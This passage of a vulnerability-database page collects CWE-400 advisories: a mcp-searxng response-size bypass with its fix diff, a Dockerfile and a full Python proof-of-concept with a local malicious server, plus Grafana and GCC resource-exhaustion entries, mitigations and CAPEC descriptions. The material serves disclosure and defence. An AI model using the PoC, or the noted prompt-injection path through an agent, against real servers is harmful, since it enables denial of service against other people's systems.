TextDecoder();\n+ const chunks: string[] = [];\n+ let total = 0;\n+ while (true) {\n+ const { done, value } = await reader.read();\n+ if (done) break;\n+ total += value.byteLength;\n+ if (total \u003e maxBytes) { await reader.cancel(); return null; }\n+ chunks.push(decoder.decode(value, { stream: true }));\n+ }\n+ chunks.push(decoder.decode());\n+ return chunks.join(\"\");\n+}\n\n- responseBody = await response.text();\n+ responseBody = await readResponseTextWithLimit(response, maxContentLengthBytes)\n+ ?? \"[Response body exceeded configured size limit]\";\n\n- htmlContent = await response.text();\n+ const limitedBody = await readResponseTextWithLimit(response, maxContentLengthBytes);\n+ if (limitedBody === null) {\n+ return createContentTooLargeMessage(maxContentLengthBytes + 1, maxContentLengthBytes);\n+ }\n+ htmlContent = limitedBody;\n```\n\n### Impact\n\nThis is an **Uncontrolled Resource Consumption (DoS)** vulnerability. Any network-reachable attacker who can supply a URL to the `web_url_read` tool can force the mcp-searxng process to allocate memory proportional to an arbitrarily large HTTP response body and burn CPU during HTML-to-Markdown conversion. The attack requires no authentication in the default HTTP transport configuration. In stdio mode, the attack surface is accessible through prompt injection targeting the AI agent. Repeated or concurrent invocations can exhaust process memory and render the MCP server unavailable to all legitimate users.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:20-slim\n\n# Install Python3 for the PoC script\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends python3 \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# Copy repository source and build the vulnerable mcp-searxng\n# Build context: parent directory (npmAI_249_ihor-sokoliuk__mcp-searxng/)\nWORKDIR /app\nCOPY repo/ /app/\nRUN npm ci \u0026\u0026 npm run build\n\n# Copy the PoC script\nCOPY vuln-002/poc.py /poc.py\n\n# Run the dynamic reproduction PoC\nCMD [\"python3\", \"-u\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-002: Unbounded Response Body Read Bypasses URL Size Limit (CWE-400)\n\nAffected: ihor-sokoliuk/mcp-searxng v1.6.0\nFile: src/url-reader.ts:414 (response.text())\nCWE: CWE-400 Uncontrolled Resource Consumption\nCVSS: 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nRoot cause:\n checkContentLength() at src/url-reader.ts:243-245 returns null when the\n server sends no Content-Length header. The guard at line 359:\n if (contentLength !== null \u0026\u0026 contentLength \u003e maxContentLengthBytes)\n evaluates to false (null !== null =\u003e false), so the check is skipped.\n response.text() at line 414 then reads the full body without any byte cap.\n\nReproduction:\n 1. Malicious HTTP server (this process, port 9799):\n HEAD =\u003e 200, Content-Type only, NO Content-Length\n GET =\u003e 200, 6+ MiB HTML body, NO Content-Length\n 2. mcp-searxng (subprocess, HTTP mode, port 3000):\n MCP_HTTP_ALLOW_PRIVATE_URLS=true -- allows 127.x for local PoC\n 3. This script initializes an MCP session, calls web_url_read pointing\n at the malicious server, and measures actual bytes transmitted.\n\nExpected evidence:\n GET_BYTES_SENT \u003e CONFIGURED_DEFAULT_LIMIT (5242880)\n =\u003e The 5 MiB guard was bypassed; full body was consumed without a cap.\n\"\"\"\n\nimport json\nimport os\nimport socket\nimport subprocess\nimport sys\nimport threading\nimport time\nimport urllib.error\nimport urllib.request\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# ---------------------------------------------------------------------------\n# Constants\n# ---------------------------------------------------------------------------\nDEFAULT_MAX_CONTENT_LENGTH = 5 * 1024 * 1024 # 5 MiB (same as src/url-reader.ts)\nBODY_SIZE_BYTES = 6 * 1024 * 1024 # 6 MiB \u2014 exceeds the configured limit\nEVIL_PORT = 9799\nMCP_PORT = 3000\n\n# ---------------------------------------------------------------------------\n# Shared state \u2014 updated by the malicious server thread\n# ---------------------------------------------------------------------------\ng_bytes_sent = 0\ng_head_count = 0\ng_get_count = 0\n\n# ---------------------------------------------------------------------------\n# Malicious HTTP server\n# ---------------------------------------------------------------------------\nclass MaliciousHandler(BaseHTTPRequestHandler):\n \"\"\"\n Simulates an attacker-controlled HTTP server that:\n - Returns 200 for HEAD with NO Content-Length (triggers null in checkContentLength)\n - Returns 200 for GET with a 6 MiB body and NO Content-Length\n (triggers unbounded response.text() read)\n \"\"\"\n\n # Use HTTP/1.0 so the connection closes after the body \u2014 no Content-Length needed.\n protocol_version = \"HTTP/1.0\"\n\n def log_message(self, fmt, *args): # suppress default per-request logging\n pass\n\n def do_HEAD(self):\n global g_head_count\n g_head_count += 1\n print(\n f\"[EVIL-SERVER] HEAD #{g_head_count} from {self.address_string()}\"\n \" \u2014 responding 200 with NO Content-Length (triggers null in checkContentLength)\",\n flush=True,\n )\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/html; charset=utf-8\")\n # Deliberately omitting Content-Length \u2014 this is the bypass trigger\n self.end_headers()\n\n def do_GET(self):\n global g_get_count, g_bytes_sent\n g_get_count += 1\n print(\n f\"[EVIL-SERVER] GET #{g_get_count} from {self.address_string()}\"\n f\" \u2014 streaming {BODY_SIZE_BYTES:,} bytes with NO Content-Length\",\n flush=True,\n )\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/html; charset=utf-8\")\n # Deliberately NO Content-Length header\n self.end_headers()\n\n # Build a simple but large HTML body that exceeds DEFAULT_MAX_CONTENT_LENGTH.\n # Simple structure keeps NodeHtmlMarkdown conversion fast.\n header = b\"\u003chtml\u003e\u003cbody\u003e\u003cpre\u003e\"\n footer = b\"\u003c/pre\u003e\u003c/body\u003e\u003c/html\u003e\"\n payload_char = b\"A\"\n target = BODY_SIZE_BYTES - len(header) - len(footer)\n chunk_size = 65536 # 64 KiB chunks\n total = 0\n try:\n self.wfile.write(header)\n total += len(header)\n while total \u003c BODY_SIZE_BYTES - len(footer):\n chunk = payload_char * min(chunk_size, BODY_SIZE_BYTES - len(footer) - total)\n self.wfile.write(chunk)\n total += len(chunk)\n self.wfile.write(footer)\n total += len(footer)\n except (BrokenPipeError, OSError):\n pass # client may close early on abort\n g_bytes_sent = total\n print(f\"[EVIL-SERVER] Done. Total bytes sent: {g_bytes_sent:,}\", flush=True)\n\n\ndef run_evil_server():\n srv = HTTPServer((\"127.0.0.1\", EVIL_PORT), MaliciousHandler)\n srv.serve_forever()\n\n\n# ---------------------------------------------------------------------------\n# Helpers\n# ---------------------------------------------------------------------------\ndef wait_for_port(host: str, port: int, timeout: float = 30) -\u003e bool:\n deadline = time.monotonic() + timeout\n while time.monotonic() \u003c deadline:\n try:\n with socket.create_connection((host, port), timeout=1):\n return True\n except (ConnectionRefusedError, OSError):\n time.sleep(0.3)\n return False\n\n\ndef http_post(url: str, payload: dict, session_id: str | None = None, timeout: float = 120) -\u003e tuple[bytes, str, str | None]:\n \"\"\"POST a JSON-RPC payload to the MCP HTTP endpoint. Returns (body, content_type, session_id).\"\"\"\n headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json, text/event-stream\",\n }\n if session_id:\n headers[\"mcp-session-id\"] = session_id\n\n data = json.dumps(payload).encode()\n req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n with urllib.request.urlopen(req, timeout=timeout) as resp:\n body = resp.read()\n ct = resp.headers.get(\"content-type\", \"\")\n sid = resp.headers.get(\"mcp-session-id\")\n return body, ct, sid\n\n\ndef parse_mcp_response(body: bytes, content_type: str) -\u003e dict | None:\n \"\"\"Parse a JSON or SSE-wrapped JSON-RPC response.\"\"\"\n if \"text/event-stream\" in content_type:\n for line in body.decode(errors=\"replace\").splitlines():\n if line.startswith(\"data: \"):\n try:\n return json.loads(line[6:])\n except json.JSONDecodeError:\n continue\n return None\n try:\n return json.loads(body)\n except json.JSONDecodeError:\n # Fallback: try SSE even if content-type says JSON\n for line in body.decode(errors=\"replace\").splitlines():\n if line.startswith(\"data: \"):\n try:\n return json.loads(line[6:])\n except json.JSONDecodeError:\n continue\n return None\n\n\n# ---------------------------------------------------------------------------\n# Main PoC\n# ---------------------------------------------------------------------------\ndef main():\n print(\"=\" * 72, flush=True)\n print(\"VULN-002 PoC \u2014 Unbounded Response Body Read Bypasses URL Size Limit\", flush=True)\n print(\"=\" * 72, flush=True)\n print(f\" DEFAULT_MAX_CONTENT_LENGTH_BYTES : {DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n print(f\" EVIL_BODY_SIZE_BYTES : {BODY_SIZE_BYTES:,}\", flush=True)\n print(f\" BYTES_OVER_LIMIT : +{BODY_SIZE_BYTES - DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n print(flush=True)\n\n # ------------------------------------------------------------------\n # Step 1: Start the malicious HTTP server\n # ------------------------------------------------------------------\n print(f\"[*] Starting malicious HTTP server on 127.0.0.1:{EVIL_PORT} ...\", flush=True)\n evil_thread = threading.Thread(target=run_evil_server, daemon=True)\n evil_thread.start()\n if not wait_for_port(\"127.0.0.1\", EVIL_PORT, timeout=5):\n print(\"[ERROR] Malicious server failed to start within 5 s\", flush=True)\n sys.exit(1)\n print(\"[+] Malicious server ready\", flush=True)\n\n # ------------------------------------------------------------------\n # Step 2: Start mcp-searxng in HTTP mode\n # ------------------------------------------------------------------\n print(f\"[*] Starting mcp-searxng HTTP server on 127.0.0.1:{MCP_PORT} ...\", flush=True)\n env = {\n **os.environ,\n \"MCP_HTTP_PORT\" : str(MCP_PORT),\n \"MCP_HTTP_HOST\" : \"127.0.0.1\",\n \"SEARXNG_URL\" : \"http://127.0.0.1:8080\", # not used in this test\n # Allow 127.x URLs so the PoC can point at the local malicious server.\n # (Real attacks target public servers \u2014 this env var enables local reproduction.)\n \"MCP_HTTP_ALLOW_PRIVATE_URLS\": \"true\",\n \"NODE_ENV\" : \"production\",\n }\n proc = subprocess.Popen(\n [\"node\", \"/app/dist/cli.js\"],\n env=env,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n )\n\n def stream_server_logs():\n for line in proc.stdout:\n print(f\"[MCP-SERVER] {line.decode(errors=\u0027replace\u0027).rstrip()}\", flush=True)\n\n log_thread = threading.Thread(target=stream_server_logs, daemon=True)\n log_thread.start()\n\n if not wait_for_port(\"127.0.0.1\", MCP_PORT, timeout=20):\n print(\"[ERROR] mcp-searxng HTTP server failed to start within 20 s\", flush=True)\n proc.terminate()\n sys.exit(1)\n print(\"[+] mcp-searxng HTTP server ready\", flush=True)\n\n mcp_url = f\"http://127.0.0.1:{MCP_PORT}/mcp\"\n\n # ------------------------------------------------------------------\n # Step 3: Initialize MCP session\n # ------------------------------------------------------------------\n print(\"[*] Initializing MCP session ...\", flush=True)\n init_body, init_ct, session_id = http_post(\n mcp_url,\n payload={\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"initialize\",\n \"params\": {\n \"protocolVersion\": \"2024-11-05\",\n \"capabilities\": {},\n \"clientInfo\": {\"name\": \"vuln002-poc\", \"version\": \"1.0\"},\n },\n },\n )\n init_resp = parse_mcp_response(init_body, init_ct)\n if not init_resp or \"result\" not in init_resp:\n print(f\"[ERROR] initialize failed: {init_body[:400]}\", flush=True)\n proc.terminate()\n sys.exit(1)\n print(f\"[+] Session initialized. session_id={session_id}\", flush=True)\n\n # Send notifications/initialized (no response expected \u2014 ignore errors)\n try:\n http_post(\n mcp_url,\n session_id=session_id,\n payload={\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\"},\n timeout=10,\n )\n except Exception:\n pass # 202 with empty body or similar non-error responses\n\n # ------------------------------------------------------------------\n # Step 4: Call web_url_read pointing at the malicious server\n # ------------------------------------------------------------------\n evil_url = f\"http://127.0.0.1:{EVIL_PORT}/\"\n print(flush=True)\n print(f\"[*] Calling web_url_read with URL: {evil_url}\", flush=True)\n print(f\" HEAD response will have NO Content-Length\", flush=True)\n print(f\" =\u003e checkContentLength() returns null\", flush=True)\n print(f\" =\u003e guard at url-reader.ts:359 is bypassed\", flush=True)\n print(f\" =\u003e response.text() at url-reader.ts:414 reads ALL {BODY_SIZE_BYTES:,} bytes\", flush=True)\n\n t_start = time.monotonic()\n try:\n tool_body, tool_ct, _ = http_post(\n mcp_url,\n session_id=session_id,\n payload={\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"web_url_read\",\n \"arguments\": {\"url\": evil_url, \"maxLength\": 1},\n },\n },\n timeout=120,\n )\n elapsed = time.monotonic() - t_start\n tool_resp = parse_mcp_response(tool_body, tool_ct)\n except urllib.error.HTTPError as e:\n elapsed = time.monotonic() - t_start\n tool_resp = parse_mcp_response(e.read(), e.headers.get(\"content-type\", \"\"))\n except Exception as e:\n elapsed = time.monotonic() - t_start\n print(f\"[WARN] tool call exception: {e}\", flush=True)\n tool_resp = None\n\n # Give the evil server thread a moment to flush its final log\n time.sleep(0.5)\n\n # ------------------------------------------------------------------\n # Step 5: Collect and report evidence\n # ------------------------------------------------------------------\n print(flush=True)\n print(\"=\" * 72, flush=True)\n print(\"[EVIDENCE]\", flush=True)\n print(f\" HEAD_REQUESTS : {g_head_count}\", flush=True)\n print(f\" GET_REQUESTS : {g_get_count}\", flush=True)\n print(f\" GET_BYTES_SENT : {g_bytes_sent:,}\", flush=True)\n print(f\" CONFIGURED_DEFAULT_LIMIT : {DEFAULT_MAX_CONTENT_LENGTH:,}\", flush=True)\n print(\n f\" BYTES_OVER_LIMIT : {g_bytes_sent - DEFAULT_MAX_CONTENT_LENGTH:+,}\",\n flush=True,\n )\n print(f\" ELAPSED_SEC : {elapsed:.2f}\", flush=True)\n\n if tool_resp:\n if \"error\" in tool_resp:\n err = tool_resp[\"error\"]\n print(\n f\" TOOL_STATUS : ERROR code={err.get(\u0027code\u0027)} \"\n f\"msg={str(err.get(\u0027message\u0027, \u0027\u0027))[:120]}\",\n flush=True,\n )\n elif \"result\" in tool_resp:\n content = tool_resp[\"result\"].get(\"content\", [])\n text = content[0].get(\"text\", \"\") if content else \"\"\n print(f\" TOOL_STATUS : SUCCESS\", flush=True)\n print(f\" RETURNED_LENGTH_CHARS : {len(text)}\", flush=True)\n print(f\" RETURNED_EXCERPT : {repr(text[:80])}\", flush=True)\n else:\n print(f\" TOOL_STATUS : (raw) {tool_body[:200] if tool_body else b\u0027\u003cno body\u003e\u0027}\", flush=True)\n\n print(\"=\" * 72, flush=True)\n\n # ------------------------------------------------------------------\n # Verdict\n # ------------------------------------------------------------------\n bypass_confirmed = g_bytes_sent \u003e DEFAULT_MAX_CONTENT_LENGTH\n\n if bypass_confirmed:\n print(flush=True)\n print(\"[PASS] VULNERABILITY CONFIRMED\", flush=True)\n print(\n f\" {g_bytes_sent:,} bytes were transmitted to mcp-searxng despite a \"\n f\"{DEFAULT_MAX_CONTENT_LENGTH:,}-byte ({DEFAULT_MAX_CONTENT_LENGTH // (1024*1024)} MiB) limit.\",\n flush=True,\n )\n print(f\" Root cause confirmed:\", flush=True)\n print(f\" 1. HEAD response had no Content-Length header.\", flush=True)\n print(f\" 2. checkContentLength() returned null (url-reader.ts:243-245)\", flush=True)\n print(f\" 3. Guard condition was false (null !== null =\u003e false) (url-reader.ts:359)\", flush=True)\n print(f\" 4. response.text() read {g_bytes_sent:,} bytes without a cap (url-reader.ts:414)\", flush=True)\n proc.terminate()\n sys.exit(0)\n else:\n print(flush=True)\n if g_get_count == 0:\n print(\"[FAIL] GET request was never received \u2014 mcp-searxng did not fetch from the evil server\", flush=True)\n else:\n print(\n f\"[FAIL] GET request received but bytes_sent={g_bytes_sent:,} \u003c= limit={DEFAULT_MAX_CONTENT_LENGTH:,}\",\n flush=True,\n )\n proc.terminate()\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-xcqx-9jf5-w339",
"modified": "2026-06-19T21:42:43Z",
"published": "2026-06-19T21:42:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-xcqx-9jf5-w339"
},
{
"type": "PACKAGE",
"url": "https://github.com/ihor-sokoliuk/mcp-searxng"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": " SearXNG MCP Server: Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`"
}
GHSA-XCRM-48RH-35PJ
Vulnerability from github – Published: 2026-07-23 03:34 – Updated: 2026-07-23 03:34The alertmanager templates test endpoint (/api/alertmanager/grafana/config/api/v1/templates/test) can execute templates with no memory limits. Mass-executing templates in a short period causes OOM and crashes the Grafana service. The endpoint requires very low privileges and is exploitable with anonymous access enabled.
{
"affected": [],
"aliases": [
"CVE-2026-21723"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-23T03:16:30Z",
"severity": "MODERATE"
},
"details": "The alertmanager templates test endpoint (/api/alertmanager/grafana/config/api/v1/templates/test) can execute templates with no memory limits. Mass-executing templates in a short period causes OOM and crashes the Grafana service. The endpoint requires very low privileges and is exploitable with anonymous access enabled.",
"id": "GHSA-xcrm-48rh-35pj",
"modified": "2026-07-23T03:34:28Z",
"published": "2026-07-23T03:34:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21723"
},
{
"type": "WEB",
"url": "https://grafana.com/security/security-advisories/cve-2026-21723"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XCRQ-6RJW-5CHW
Vulnerability from github – Published: 2022-03-27 00:00 – Updated: 2026-10-14 18:31libiberty/rust-demangle.c in GNU GCC 11.2 allows stack consumption in demangle_const, as demonstrated by nm-new.
{
"affected": [],
"aliases": [
"CVE-2022-27943"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-26T13:15:00Z",
"severity": "MODERATE"
},
"details": "libiberty/rust-demangle.c in GNU GCC 11.2 allows stack consumption in demangle_const, as demonstrated by nm-new.",
"id": "GHSA-xcrq-6rjw-5chw",
"modified": "2026-10-14T18:31:26Z",
"published": "2022-03-27T00:00:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27943"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
},
{
"type": "WEB",
"url": "https://gcc.gnu.org/bugzilla/show_bug.cgi?id=105039"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/H424YXGW7OKXS2NCAP35OP6Y4P4AW6VG"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/H424YXGW7OKXS2NCAP35OP6Y4P4AW6VG"
},
{
"type": "WEB",
"url": "https://sourceware.org/bugzilla/show_bug.cgi?id=28995"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XCRV-G5FH-9WX2
Vulnerability from github – Published: 2026-07-10 18:32 – Updated: 2026-07-10 18:32Several Grafana API endpoints, some of them unauthenticated, do not limit the size of the request body before processing it. An attacker can send very large payloads that force excessive memory allocation, potentially exhausting memory and causing a denial of service.
{
"affected": [],
"aliases": [
"CVE-2026-33382"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-10T16:16:29Z",
"severity": "HIGH"
},
"details": "Several Grafana API endpoints, some of them unauthenticated, do not limit the size of the request body before processing it. An attacker can send very large payloads that force excessive memory allocation, potentially exhausting memory and causing a denial of service.",
"id": "GHSA-xcrv-g5fh-9wx2",
"modified": "2026-07-10T18:32:19Z",
"published": "2026-07-10T18:32:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33382"
},
{
"type": "WEB",
"url": "https://grafana.com/security/security-advisories/cve-2026-33382"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.